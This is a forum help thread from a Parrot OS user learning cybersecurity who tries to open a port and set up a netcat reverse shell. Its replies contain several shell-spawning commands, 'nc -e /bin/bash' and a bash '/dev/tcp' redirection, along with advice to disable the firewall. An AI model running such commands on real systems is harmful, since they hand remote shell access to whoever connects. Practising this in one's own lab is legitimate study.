How do I open a port in Parrot OS?

Briefly describe your issue below:

Just want to open a port.

What version of Parrot are you running? (include version (e.g. 4.6), edition(e.g. Home//KDE/OVA, etc.), and architecture (currently we only support amd64)

5.3.0-3parrot3-amd64 #1 SMP Parrot 5.3.9-3parrot3 (2019-11-23) x86_64 GNU/Linux

What method did you use to install Parrot? (Debian Standard / Debian GTK / parrot-experimental)

Debian Standard

Configured to multiboot with other systems? (yes / no)
no

List your networking hardware (make, model, firmware version):

3:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 06)

If there are any similar issues or solutions, link to them below:

If there are any error messages or relevant logs, post them below:

What do you mean by “open a port”?

Are you trying to unblock a firewall port on your local machine… start a server on a specific port… use netcat?

You need to be more specific in your questions. Details, details, details. :wink:

sudo nc -e /bin/bash -nvlp 13337 =)))

I am trying to use netcat. I am studying cybersecurity, and I want to see if I can create a reverse shell.

sudo -i; ufw
ufw allow (port)/tcp
ufw allow (port)/udp

I did not have ufw on the system, so I installed it. Gave it a try, but did not seem to work.

#ufw allow 8888/tcp
Rules updated
Rules updated (v6)

#nmap 192.168.0.119
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-07 11:54 MDT
Nmap scan report for fir (127.0.1.1)
Host is up (0.00011s latency).
rDNS record for 127.0.1.1: myserver
PORT     STATE  SERVICE
8888/tcp closed sun-answerbook
Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds

#bash -i >& /dev/tcp/192.168.0.119/8888 0> $1 
bash: connect: Connection refused
bash: /dev/tcp/192.168.0.119/8888: Connection refused

#nc -e /bin/bash 192.168.0.119 8888
[127.0.1.1] 8888 (?) : Connection refused
#nc -e /bin/bash 13337
no port[s] to connect to

# ufw allow 13337/tcp
Rules updated
Rules updated (v6)

#nc -e /bin/bash 13337
no port[s] to connect to

as i know every local port is open no need to try to open it

  • if that didn’t work with you just stop it and try to install gufw
    i used to use it to open my ports on kali linux
    you can check this link:
    https://youtu.be/kQIDko_XsxE

did my way work ?

I have not got it to work yet.

man netcat
You need a machine to listen and a machine to connect to. Also you can just turn ufw off, it really just gets in the way of whole thing here.

This topic was automatically closed 120 days after the last reply. New replies are no longer allowed.